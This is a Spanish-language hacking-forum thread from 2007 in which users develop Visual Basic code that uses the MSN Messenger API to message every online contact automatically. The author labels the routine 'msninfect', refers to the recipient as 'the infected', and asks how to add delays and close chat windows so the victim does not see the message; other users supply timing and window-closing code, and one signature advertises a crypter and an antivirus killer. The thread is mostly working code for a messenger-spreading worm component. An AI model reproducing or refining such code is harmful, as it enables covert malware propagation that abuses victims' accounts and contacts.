Copiar lista de contactos msn

Iniciado por krosty_ufc, 19 Septiembre 2007, 22:07 PM

0 Miembros y 1 Visitante están viendo este tema.

krosty_ufc

Buenas
Mi problema es que me tira error 91 al ejecutar esto:


Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
Public WithEvents MsgrUIA As MessengerAPI.Messenger

Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Dim user As IMessengerContact
For Each user In MsgrUIA.MyContacts 'Por cada usuario en la lista de contactos: si está conectado, en linea, ausente, no disponible, etcetera. agrega cada direccion de correo a List1
If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
List1.AddItem user.SigninName 'También podríamos hacer esto con el nick colocando "user.FriendlyName"
End If
Next
End Sub



Nose cual es el error :S parece estar todo bien.

Aver si alguien sabe

Salu2

nhaalclkiemr

Tienes que leer los errores y mirar la linea...como pongas un post por cada error pufff...yo al menos saturaría el foro.

Error 91, Variable de tipo Object o la variable del bloque With no está establecida

Despues de eso miras la linea y ves como estás usando una variable definido que no estableciste con SET...te faltaba Set MsgrUIA = New MessengerAPI.Messenger

El código te queda así:

Código (vb) [Seleccionar]
Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
Public WithEvents MsgrUIA As MessengerAPI.Messenger

Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
For Each user In MsgrUIA.MyContacts 'Por cada usuario en la lista de contactos: si está conectado, en linea, ausente, no disponible, etcetera. agrega cada direccion de correo a List1
If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
List1.AddItem user.SigninName 'También podríamos hacer esto con el nick colocando "user.FriendlyName"
End If
Next
End Sub


Saludos ;)
StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%

krosty_ufc

Te agradezco, ya va perfecto.
Si lo que pasa es que no ponia la linea del error :S
Solo decia
Citar
Error 91, Variable de tipo Object o la variable del bloque With no está establecida

Bien ahora yo quisiera que mande un mensaje a uno por uno de esa lista, lo que probe hacer es esto, pero no va :S

Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
Public WithEvents MsgrUIA As MessengerAPI.Messenger

Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
For Each user In MsgrUIA.MyContacts
If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
List1.AddItem user.SigninName
End If
MSN.InstantMessage List1
SendKeys (" prueba ")
SendKeys ("{ENTER}")
Next
End Sub


Aver alguien que sepa de Vb que me dice.

Salu2 y muchas gracias

Tengu

#3
Pregunta hasta el punto de agregarlos a la lista, funciona???
por q tal vez te este fallando y no se produzca el envio uno por uno ....yo ahora no puedo probarlo por q toy en el trabajo y no tengo vb a mano y sino cheka esto y ve al "sub msninfect"

http://foro.elhacker.net/index.php?topic=181032.msg862609

ta l vez puedas comparar

PD: Yo no se de visual basic

Encuentros por Video y Chat !!

krosty_ufc

Si, lo vi, lo que passa es que si pongo dos veces el "for each" no me deja :S
Asi que no puedo poner esto
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
Ya que ya lo tengo en:
For Each user In MsgrUIA.MyContacts

Salu2

krosty_ufc

Ya pude hacerlo :
Public WithEvents MSN As MessengerAPI.Messenger
Public WithEvents MsgrUIA As MessengerAPI.Messenger


CitarPrivate Sub Form_Load()
msninfect:
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
Dim ConTacto As IMessengerContact
For Each ConTacto In MsgrUIA.MyContacts
If (ConTacto.Status = 2) Or (ConTacto.Status = 10) Or (ConTacto.Status = 14) Or (ConTacto.Status = 34) Or (ConTacto.Status = 50) Or (ConTacto.Status = 66) Then
MSN.InstantMessage (user.SigninName)
SendKeys (" prueba ")
SendKeys ("{ENTER}")
End If
Next
End Sub

Pequeño problema ahora,
Primero: Solo alcanza a mandar el mensaje a unos pocos ya que carga demasiado rapido las ventanas.
Segundo: Abre demasiado rapido las ventanas por lo que coinsume mucha cpu.
Tercero: No se cierran las ventanas por lo que el infectado ve el mensaje

Ahora como se podria hacer par que entre ventana y ventana al abrir pasen 5 segundos, y la ventana una ves mendada el mensaje se cierre ?

Aver si alguien sabe.

Salu2

Tengu

busca algo sobre la funcion "sleep" y para cerrar solo dale  un sendkeys con % y F4 y listo..


Encuentros por Video y Chat !!

Tengu

o....


Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date

t1 = Second(Now)
t2 = t1 + nSec

Do
DoEvents
Loop While t2 > Second(Now)
End Sub


y cuando quieras esperar pones este code

Wait (1)


Sacado del code q esta en el hilo q antes postee

Encuentros por Video y Chat !!

krosty_ufc

Bien si conoscia lo de la funcion sleep, pero era que no me di cuenta que podia usarla aca xDDD
Y sobre lo de alt f4, no sabia como ponerlo jaja
Y sobre el de "wait (1)" no lo usaba porq solo era 1 seg xD pero agrege 5 d esos n ose me abai ocurrido jajaja.
Bien lo que hize fue lo siguiente:



Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
Public WithEvents MsgrUIA As MessengerAPI.Messenger

Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date

t1 = Second(Now)
t2 = t1 + nSec

Do
DoEvents
Loop While t2 > Second(Now)
End Sub
Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
Dim ConTacto As IMessengerContact
For Each user In MsgrUIA.MyContacts
If (user.Status = 2) Or (user.Status = 10) Or (user.Status = 14) Or (user.Status = 34) Or (user.Status = 50) Or (user.Status = 66) Then
MSN.InstantMessage (user.SigninName)
SendKeys ("prueba")
SendKeys ("{ENTER}")
Wait (1)
Wait (1)
Wait (1)
Wait (1)
Wait (1)
SendKeys ("%{F4}")

End If
Next
End Sub


Anda de lujo esepto por el alt + f4 que en mi maquina aprece no andar, porq me tira a la ventana de cerrar win, nose porque.
Pruebenlo algien dsd su pc aver si le funciona bien y comenta aver que tal plis.

Salu2 y muchas gracais por la ayuda

Tengu

antes del sendkeys alt+f4 puedes probar poniendo esto:

appactivate "Conversación"

Encuentros por Video y Chat !!